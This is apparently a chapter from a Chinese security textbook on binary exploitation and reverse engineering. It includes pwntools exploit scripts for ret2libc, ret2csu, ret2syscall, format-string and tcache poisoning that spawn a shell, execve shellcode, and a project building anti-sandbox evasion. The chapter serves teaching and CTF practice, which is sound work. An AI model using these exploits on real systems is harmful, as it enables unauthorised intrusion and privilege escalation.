9.2.1 寄存器#

9.2.2 System V AMD64 调用约定#

1
参数顺序：RDI, RSI, RDX, RCX, R8, R9, (栈)
2
返回值：RAX (、RDX)
3
被调用者保存：RBX, RBP, R12-R15
4
caller 保存：其余
5
栈 16 字节对齐（call 前）

9.2.3 系统调用#

1
; read(0, buf, 0x100)
2
mov rax, 0
3
mov rdi, 0
4
mov rsi, buf
5
mov rdx, 0x100
6
syscall
7

8
; execve("/bin/sh", 0, 0) —— 系统调用号 59
9
mov rax, 59
10
lea rdi, [rel binsh]
11
xor rsi, rsi
12
xor rdx, rdx
13
syscall

9.3.1 关键节#

9.3.2 常用工具#

1
file ./bin                            # 查看架构 / static or dynamic
2
checksec --file=./bin                 # 安全保护措施（pwntools 提供）
3
readelf -a ./bin
4
objdump -d -M intel ./bin
5
strings ./bin | grep -i flag
6
nm ./bin | grep " T "                 # 导出符号
7
ldd ./bin                             # 依赖库

9.3.3 checksec 结果解读#

1
Arch:     amd64-64-little
2
RELRO:    Full RELRO        # GOT 只读
3
Stack:    Canary found      # 栈溢出检测
4
NX:       NX enabled        # 栈不可执行
5
PIE:      PIE enabled       # 地址随机化
6
FORTIFY:  No

• 防护越多，利用越难；结合 信息泄露 是绕过的关键。

9.4.1 栈溢出（Stack Overflow）#

1
void vuln() {
2
    char buf[64];
3
    gets(buf);   // 不检查长度
4
}

1
高地址 ──────────────
2
       返回地址 RIP  ← 被覆盖后控制执行流
3
       保存的 RBP
4
       buf[64]       ← 用户可写
5
低地址 ──────────────

利用流程：

1. 无保护：直接覆盖 RIP → shellcode 地址（NX 关闭）。
2. NX 开：ret2text / ret2libc / ROP。
3. PIE 开：需要信息泄露（leak 一个函数地址，恢复基址）。
4. Canary 开：需要信息泄露（格式化字符串 / 字节爆破）绕过 canary。

9.4.2 格式化字符串（Format String）#

1
printf(user_input);   // ← 应该写成 printf("%s", user_input)

• %x %x %x %x：泄露栈上数据。
• %s：配合地址泄露任意内存。
• %n：任意地址写入（%hn、%hhn 控制字节数）。

典型 payload：

1
%8$p           ; 泄露第 8 个参数
2
"\x10\x20\x30\x40%7$hhn"  ; 向 0x40302010 写 X 字节

9.4.3 堆漏洞（Heap Corruption）#

glibc ptmalloc 常见姿势：

• UAF (Use After Free)：释放后仍使用指针 → fake chunk / hijack 函数指针。
• Double Free：触发 tcache/fastbin 攻击。
• Off-by-one / Overflow：覆盖下一个 chunk 的 size 位 → Unlink / House of X。
• tcache poisoning（glibc 2.26+）：
  1. free 两个同大小 chunk；
  2. 改写 tcache entry 的 next 指针；
  3. 连续 malloc → 返回目标地址。

9.4.4 整数溢出#

1
int size = read_int();
2
if (size > 100) return;
3
char *p = malloc(size * sizeof(int));   // 若 size < 0 → 小 chunk
4
read(0, p, size * sizeof(int));         // 写超界

9.5.1 思路#

当栈不可执行（NX）时，用已有代码片段（gadget）拼接出等价功能。

1
pop rdi; ret         ; 设置参数 1
2
pop rsi; pop r15; ret ; 设置参数 2
3
; call function

9.5.2 pwntools 范例#

1
from pwn import *
2

3
elf = ELF('./vuln')
4
libc = ELF('./libc.so.6')
5
io = process('./vuln')
6

7
# Stage 1：leak puts@got
8
pop_rdi = 0x4011c3
9
payload  = b'A' * 72
10
payload += p64(pop_rdi) + p64(elf.got['puts'])
11
payload += p64(elf.plt['puts']) + p64(elf.sym['main'])
12
io.sendlineafter(b'> ', payload)
13
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
14
libc.address = leak - libc.sym['puts']
15

16
# Stage 2：ret2libc → system("/bin/sh")
17
payload  = b'A' * 72
18
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
19
payload += p64(libc.sym['system'])
20
io.sendlineafter(b'> ', payload)
21
io.interactive()

9.5.3 常用 gadget 搜索#

1
ROPgadget --binary ./vuln --only "pop|ret"
2
ROPgadget --binary ./libc.so.6 --string "/bin/sh"
3
one_gadget ./libc.so.6   # 一键 exec shell

9.6.1 gdb + pwndbg / GEF / peda#

1
gdb -q ./vuln
2
pwndbg> checksec
3
pwndbg> b main
4
pwndbg> r
5
pwndbg> vmmap               # 内存映射
6
pwndbg> telescope $rsp 20   # 栈观察
7
pwndbg> heap / bins         # 堆结构
8
pwndbg> pattern create 200  # 生成模式串
9
pwndbg> pattern search      # 偏移定位

9.6.2 IDA / Ghidra#

• IDA：商业标杆，F5 反编译（Hex-Rays Decompiler）。
• Ghidra：NSA 开源；跨平台 + 多架构；支持脚本（Python/Java）。
• Binary Ninja：社区活跃，API 友好。
• Radare2 / Rizin + Cutter：命令行 + GUI 组合。

9.6.3 反调试与加壳#

• 反调试：ptrace(PTRACE_TRACEME)、/proc/self/status 检测 TracerPid、时间差。
• 加壳：UPX（upx -d 脱壳）；商业壳用 x64dbg + Scylla Dump。

9.12.1 全部寻址模式#

1
mov rax, [rbx]              ; 直接
2
mov rax, [rbx + 0x10]       ; 偏移
3
mov rax, [rbx + rcx*8]      ; 索引
4
mov rax, [rbx + rcx*8 + 16] ; SIB + 偏移
5
mov rax, [rip + 0x100]      ; PC 相对（PIE 关键）

9.12.2 SIMD / SSE / AVX 速览#

• xmm0..xmm15（128 bit）、ymm0..ymm15（256 bit）、zmm0..zmm31（512 bit）
• 浮点运算 vaddps / vmulps
• 内存复制 vmovdqu、向量比较 vpcmpeqb
• 字符串库（memcpy / strchr）现代实现常用 SIMD，逆向时见到大量 xmm 不要慌

9.12.3 常用指令家族#

9.12.4 Windows x64 调用约定差异#

逆向 Windows 二进制时务必区分调用约定。

9.13.1 GOT / PLT 图示#

1
; 第一次调用 puts：
2
puts@plt:
3
  jmp [puts@got.plt]   ; 此时该地址指向 plt+6
4
  push <reloc_index>
5
  jmp [_dl_runtime_resolve]
6

7
; 解析后回填 puts@got.plt → libc 的 puts 真实地址
8
; 第二次调用 puts：
9
  jmp [puts@got.plt]   ; 直接跳真实地址

延迟绑定（lazy binding）也是 ret2dlresolve 利用的基础。

9.13.2 Full RELRO vs Partial RELRO#

• Partial：.got.plt 仍可写
• Full：所有 GOT 项程序启动时一次性解析并设为只读
• 利用差异：Partial 可改 .got.plt[puts] → system

9.14.1 fastbin / tcache 链结构#

1
tcache (glibc 2.26+) — 单链表：
2
[tcache_perthread_struct]
3
  bins[64] → next chunk → next ...
4

5
fastbin（仍存在）：
6
fastbinsY[7] → ... 同样单链表

利用：双重释放 + 改 next 指针 → 下次 malloc 返回任意地址。

9.14.2 glibc 版本差异防护#

利用必须根据目标 glibc 版本调整。

9.15.1 主要差异#

• 所有指令固定 32 bit
• 31 个 64 bit 通用寄存器 x0..x30，sp、pc
• 链接寄存器 LR（即 x30）保存返回地址
• 调用约定：参数在 x0..x7
• 返回：ret 实际是 br x30

9.15.2 PAC（Pointer Authentication）#

ARMv8.3+ 引入：

• 对返回地址做 HMAC 签名
• 攻击者覆盖 LR 后 ret 校验失败 → 触发 SIGILL
• 绕过：泄露签名密钥（需特权）/ 利用 PAC 弱设备

9.15.3 MTE（Memory Tagging）#

ARMv8.5+：

• 每 16 字节内存打 4 bit tag
• 指针高位也带 4 bit tag
• 不匹配 → 异常
• 极大缓解 UAF / 越界访问；Pixel 8+ 启用

9.16.1 Spectre v1（Bounds Check Bypass）#

1
if (x < array1_size) {
2
    y = array2[array1[x] * 4096];
3
}

CPU 推测执行越界 x → array2 缓存被污染 → 通过缓存侧信道还原 array1[x]。

9.16.2 Meltdown#

特定 CPU 在权限校验前已经把内核数据加载进缓存 → 用户态推测执行触发缓存污染 → 还原内核内存。

9.16.3 缓解#

• KPTI（Kernel Page Table Isolation）
• microcode 更新
• IBRS / IBPB / STIBP / SSBD
• 编译器加 retpoline / lfence

9.16.4 后续家族#

L1TF、MDS、TAA、ZenBleed、Downfall、Inception ……几乎每年都有新分支；防御端 CPU 微码 + 内核缓解 + 业务隔离三层。

9.17.1 AFL++ harness#

1
#include <stdint.h>
2
#include <unistd.h>
3
extern void parse(const uint8_t *buf, size_t len);
4

5
#ifdef __AFL_HAVE_MANUAL_CONTROL
6
#  include <stdint.h>
7
__AFL_FUZZ_INIT();
8
#endif
9

10
int main(void) {
11
    __AFL_INIT();
12
    uint8_t buf[1<<16];
13
    while (__AFL_LOOP(10000)) {
14
        ssize_t n = read(0, buf, sizeof(buf));
15
        if (n > 0) parse(buf, n);
16
    }
17
    return 0;
18
}

9.17.2 KLEE 符号执行#

1
#include <klee/klee.h>
2
int main() {
3
    int x;
4
    klee_make_symbolic(&x, sizeof(x), "x");
5
    if (x * x + 3 * x == 100) klee_assert(0);
6
    return 0;
7
}

klee main.bc 自动给出能让 assert 触发的输入。

9.17.3 angr 路径求解#

1
import angr, claripy
2
proj = angr.Project('./bin', auto_load_libs=False)
3
arg = claripy.BVS('arg', 8 * 32)
4
state = proj.factory.entry_state(args=['./bin', arg])
5
sm = proj.factory.simulation_manager(state)
6
sm.explore(find=lambda s: b'Good' in s.posix.dumps(1),
7
           avoid=lambda s: b'Bad' in s.posix.dumps(1))
8
print(sm.found[0].solver.eval(arg, cast_to=bytes))

9.18.1 OpenSSL Heartbleed (CVE-2014-0160)#

详见 Ch02。从二进制视角：memcpy(bp, pl, payload) 在用户控制 payload 长度后超量拷贝。GDB 调试时可在 dtls1_process_heartbeat 设置断点，观察 SSL 结构体内残留的内存。

9.18.2 Sudo Baron Samedit (CVE-2021-3156)#

详见 Ch03。栈缓冲区与 *sudoers_size += i; 累加导致堆越界写。

9.18.3 Polkit PwnKit (CVE-2021-4034)#

pkexec 处理 argv[] 时未检查 argc=0 边界 → 越界读 envp 指针 → 利用 GCONV_PATH= 加载恶意 gconv 模块实现提权。

9.18.4 xz-utils 后门 (CVE-2024-3094)#

链路：上游维护者被植入恶意 m4 宏 → 编译时注入 liblzma.so.5 修改 RSA_public_decrypt → 当 sshd 用此库时检查特定签名命令并执行。 震撼点：纯供应链层；OSS-Fuzz 都没发现，因为 hook 层很深。

9.18.5 Linux nftables UAF (CVE-2024-1086)#

在 nft_verdict_init 错误路径释放后再使用，本地用户可触发，配合堆喷射拿 root。

9.18.6 Apple iMessage BLASTPASS (CVE-2023-41064 / 41061)#

零点击：通过 PassKit 附件传 PDF + WebP → 触发 ImageIO 漏洞 → 链 BLASTDOOR 沙箱逃逸 → Pegasus 间谍软件部署。 反映出”无附件”+“无交互”的 0day 仍然存在。

9.19.1 Compiler-time#

1
# 推荐 hardened 编译选项
2
gcc -O2 -fstack-protector-strong \
3
    -D_FORTIFY_SOURCE=2 \
4
    -fPIE -pie \
5
    -fcf-protection=full \
6
    -Wl,-z,relro,-z,now -Wl,-z,noexecstack \
7
    main.c -o main

9.19.2 Runtime#

• ASLR：内核 randomize_va_space=2
• KASLR：内核基址随机化
• SMEP / SMAP：阻止内核访问用户态页
• KPTI：Meltdown 缓解
• KCFI / kCFI：内核控制流完整性
• IPE / LSM：策略级控制

9.19.3 Compartmentalization#

• WebAssembly 隔离（V8 / Wasmtime）
• io_uring / seccomp-bpf
• Hypervisor 级隔离（KVM / Xen / Hyper-V）
• Confidential Computing：Intel TDX / AMD SEV-SNP / ARM CCA

参考答案要点#

5. ret2csu 利用 __libc_csu_init 倒数 2 个 gadget 控制 rbx rbp r12 r13 r14 r15 → 调用 r15 指向的 r12 + rbx*8 函数；适合控制 3 个参数。
6. mangled = ptr ^ ((chunk_addr) >> 12)；解出原始 fd 需要知道 chunk 地址。

教材#

• 《CSAPP（深入理解计算机系统）》Bryant, O’Hallaron
• 《The Art of Software Security Assessment》Mark Dowd
• 《Hacking: The Art of Exploitation》Jon Erickson
• 《Practical Reverse Engineering》Bruce Dang
• 《Hacker Disassembling Uncovered》Kris Kaspersky
• 《Practical Binary Analysis》Dennis Andriesse

在线资源#

• pwn.college https://pwn.college/
• ROP Emporium https://ropemporium.com/
• pwnable.tw / pwnable.kr / pwn.lol
• how2heap https://github.com/shellphish/how2heap
• nightmare https://guyinatuxedo.github.io/
• LiveOverflow YouTube
• Phrack 杂志（经典 hacker 文化）

工具文档#

• pwntools tutorials
• Ghidra / IDA / Binary Ninja 官方文档
• AFL++ wiki
• angr docs

9.23.1 ret2text#

1
from pwn import *
2
elf = ELF('./vuln'); io = process('./vuln')
3
backdoor = elf.sym['win']
4
io.sendline(b'A'*72 + p64(backdoor))
5
io.interactive()

9.23.2 ret2libc#

1
from pwn import *
2
elf = ELF('./vuln'); libc = ELF('./libc.so.6'); io = process('./vuln')
3
pop_rdi = 0x4011c3
4
ret = 0x40101a
5
# leak
6
io.sendlineafter(b'> ', b'A'*72 + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))
7
libc.address = u64(io.recvline().strip().ljust(8, b'\0')) - libc.sym['puts']
8
# pwn
9
io.sendlineafter(b'> ',
10
    b'A'*72 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(libc.sym['system']))
11
io.interactive()

9.23.3 ret2csu#

1
from pwn import *
2
io = process('./vuln'); elf = ELF('./vuln')
3
csu_p1 = 0x40119a       # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
4
csu_p2 = 0x401180       # mov rdi,r13; mov rsi,r14; mov rdx,r15; call [r12+rbx*8]
5
payload  = b'A'*72
6
payload += p64(csu_p1)
7
payload += p64(0) + p64(1) + p64(elf.got['puts']) + p64(elf.got['puts']) + p64(0) + p64(0)
8
payload += p64(csu_p2)
9
payload += p64(0)*7  # padding 因 csu_p2 末尾 add rsp,8
10
payload += p64(elf.sym['main'])
11
io.sendlineafter(b'> ', payload)
12
io.interactive()

9.23.4 ret2syscall#

1
from pwn import *
2
context.binary = './vuln'
3
io = process('./vuln')
4
pop_rax = 0x447834   # 在静态 ELF 内
5
pop_rdi = 0x401e26
6
pop_rsi_r15 = 0x40e9e0
7
pop_rdx = 0x44a309
8
syscall = 0x466137
9
binsh = 0x6c0e60     # 找一个可写区域，预先用 read 写入 /bin/sh
10
chain = flat(
11
    pop_rdi, binsh, pop_rsi_r15, 0, 0, pop_rdx, 0,
12
    pop_rax, 59, syscall)
13
io.sendline(b'/bin/sh\0' + b'A'*64 + chain)
14
io.interactive()

9.23.5 格式化字符串泄露 + 写#

1
from pwn import *
2
io = process('./vuln')
3
io.sendline(b'%9$p')
4
canary = int(io.recvline(), 16)
5
log.info(f'canary={hex(canary)}')
6

7
# 利用 %hn 写
8
target = 0x404060
9
payload = fmtstr_payload(8, {target: 0xdead})
10
io.sendline(payload)
11
io.interactive()

9.23.6 tcache poisoning（glibc 2.31, no safe-linking）#

1
from pwn import *
2
io = process('./heapnote')
3

4
def alloc(idx, size, data):
5
    io.sendlineafter(b'> ', b'1')
6
    io.sendlineafter(b'idx: ', str(idx).encode())
7
    io.sendlineafter(b'size: ', str(size).encode())
8
    io.sendafter(b'data: ', data)
9

10
def free(idx):
11
    io.sendlineafter(b'> ', b'2')
12
    io.sendlineafter(b'idx: ', str(idx).encode())
13

14
alloc(0, 0x80, b'A')
15
alloc(1, 0x80, b'B')
16
free(0); free(1)
17
# 改 tcache fd 指向 __free_hook
18
alloc(2, 0x80, p64(libc.sym['__free_hook']))
19
alloc(3, 0x80, b'X')                 # 占位
20
alloc(4, 0x80, p64(libc.sym['system']))  # 落到 free_hook
21
alloc(5, 0x80, b'/bin/sh\0')
22
free(5)
23
io.interactive()

9.24.1 SEH 利用#

Windows 32 位下 _EXCEPTION_REGISTRATION_RECORD 链表存在栈上；溢出可改 Next 与 Handler 指针 → 触发异常时跳到 attacker 控制点。SafeSEH / SEHOP 缓解。

9.24.2 GS（/GS Stack Cookie）#

类似 Linux Canary；位于函数 prolog / epilog；MSVC 默认开启。绕过：信息泄露 + 改 SEH。

9.24.3 DEP / NX#

Win 自 XP SP2 引入；ROP 标配（同 Linux）。

9.24.4 ASLR / Mandatory ASLR / Force ASLR#

需要 PE 头 IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE；老程序无 ASLR 可作 ROP gadget 源。

9.24.5 CFG（Control Flow Guard）#

间接调用前查表（compiler-generated bitmap），目标必须是合法函数入口。 绕过：泄露并修改 bitmap、利用未对齐分支。

9.24.6 CET（Control-flow Enforcement Technology）#

Intel Tiger Lake+，AMD Zen 3+：

• IBT（Indirect Branch Tracking）：间接 call/jmp 后必须是 endbr64
• Shadow Stack：硬件维护一个只允许 call/ret 写的栈，普通溢出无法改 缓解了 ROP 与传统 stack pivot。

9.24.7 Kernel Patch Protection (PatchGuard)#

x64 Windows 内核的”反 hook”：定期校验关键内核结构 hash；EDR 厂商需走官方 callback API 而非直接 patch。

9.25.1 Mach-O 格式#

1
mach_header
2
load commands  (LC_SEGMENT_64、LC_DYLD_INFO_ONLY、LC_CODE_SIGNATURE...)
3
segments + sections (__TEXT/__text、__DATA、__LINKEDIT)

工具：otool -l、nm -mU、hopper、Cutter、MachOExplorer。

9.25.2 Code Signing & Hardened Runtime#

• 所有可执行必须签名
• 硬化 runtime：禁止 unsigned 代码注入、限制 dyld 环境变量
• 苹果 Notarization：上传给 Apple 扫描

9.25.3 SIP / TCC / Sandbox#

详见 Ch03 / Ch12；从二进制视角，攻击者经常需要绕过 dyld 注入限制 + sandbox profile。

9.25.4 iOS 越狱要点#

• Bootrom 漏洞（checkm8 / blackbird）→ 永久越狱
• 软件越狱：内核漏洞 + KPP / KTRR 绕过 + sandbox 突破 + Amfi 签名绕过
• TFP0 (task_for_pid 0) 是常见目标，拿到内核 task port 即可任意读写内核内存

9.26.1 工作流#

1
固件下载 → binwalk -e 解包 → 找到 squashfs / cpio
2
   ├── /etc/passwd 弱口令
3
   ├── /etc/shadow 离线爆破
4
   ├── 启动脚本看监听端口
5
   ├── /usr/sbin 找 Web 后台二进制
6
   └── strings + Ghidra 反编译

9.26.2 常见架构#

• ARM (32/64)、MIPS（big/little endian）、PowerPC、RISC-V
• QEMU user / system mode 模拟运行
• qemu-mips ./bin 直接跑 user binary
• qemu-system-arm -M virt -kernel ... 跑 kernel

9.26.3 真实场景#

• 路由器 Web 后台命令注入（多见于 D-Link / TP-Link）
• 摄像头默认密码 + 后门口
• 工控 PLC 固件保留调试口
• 智能家居 BLE / Zigbee 通信缺乏鉴权

9.26.4 防御#

• Secure Boot + 签名验证
• 硬件加密引擎 + 主密钥保护
• 固件 rollback 防护
• OTA 通道加密签名 + 错误恢复

9.27.1 利用难度增量表#

9.27.2 攻击趋势#

• 从单点漏洞 → 多链组合（沙箱逃逸 → 内核 → 持久化）
• 利用代价 / 单 0day 价格上升（Pegasus 类间谍软件市场化）
• 漏洞经济与负责任披露的平衡愈发关键

项目 P1：自写一个最小 ELF loader#

• 解析 ELF header + PT_LOAD
• 用 mmap 加载段
• 不处理动态链接
• 跳到 entry 执行

项目 P2：从 0 写一个 Heap，复现 House of Spirit#

• 实现简单 malloc/free（first-fit + 空闲链表）
• 故意暴露伪造 chunk 漏洞
• 写 PoC 触发任意写

项目 P3：玩 Linux Kernel ROP#

• 编一个有漏洞的内核模块（slab UAF）
• 用 SMEP / SMAP 关闭测试
• 然后逐项打开缓解
• 学习 modprobe_path / cred 提权

项目 P4：自写 Anti-Sandbox 检测#

• 检测 VMware / VirtualBox / KVM
• 检测时间加速
• 检测鼠标移动
• 检测进程数 / 用户数
• 用于对抗自动沙箱（CAPE / Cuckoo）

9.29.1 现状（2026）#

• IDA Pro 已经集成 AI Assist（基于 LLM 解释反汇编）
• Ghidra + GPT 插件（gpt4-Ghidra / G-3PO）：对反编译结果做自然语言摘要、变量重命名
• LLM 能在熟悉算法（AES / SHA / RC4）识别上做模式匹配，但对自创复杂逻辑仍弱

9.29.2 工作流建议#

1
Step 1: 反编译（Ghidra / IDA）
2
Step 2: LLM 总结函数功能 + 推荐变量名
3
Step 3: 人工核对 + 修正
4
Step 4: 写脚本批量重命名
5
Step 5: 用动态调试验证关键路径

9.29.3 风险#

• LLM 可能自信地给出错误结论
• 不要把客户 / 涉密二进制上传到云 API → 用本地 LLM（CodeLlama / Phind / DeepSeek-Coder）

与其他章节的接口#

• ← Ch07：扫描发现的内存型 CVE
• ← Ch08：渗透中的提权 / RCE 用到二进制利用
• → Ch10：取证视角看二进制 payload 行为
• → Ch11：蓝队检测 ROP / shellcode 的方法
• → Ch12：IoT / 移动端的二进制利用差异

学习节奏（12 周计划）#

• W1-2：CSAPP 第 3/7/9 章 + 汇编入门题 20 道
• W3-4：栈溢出 / ret2text / ret2libc，pwn.college Babymem 系列
• W5-6：堆基础 / tcache / fastbin，how2heap 全过
• W7-8：ROP 高级 + ret2csu / SROP
• W9-10：House of X 谱系，做 5 道堆 CTF
• W11：Windows PE / ARM64 入门
• W12：选 1 个真实 CVE 复现 + 写 PoC + 写博客

心态建议#

• 不会很正常：这是计算机科学最难的子领域之一
• 不要看 wp 后就跳过：必须复现到能离开 wp 重写
• 每道题写一份”为什么这么走”的笔记，半年后回头看很值钱
• 享受 pwndbg 里那一刻 RIP 落在 system 的喜悦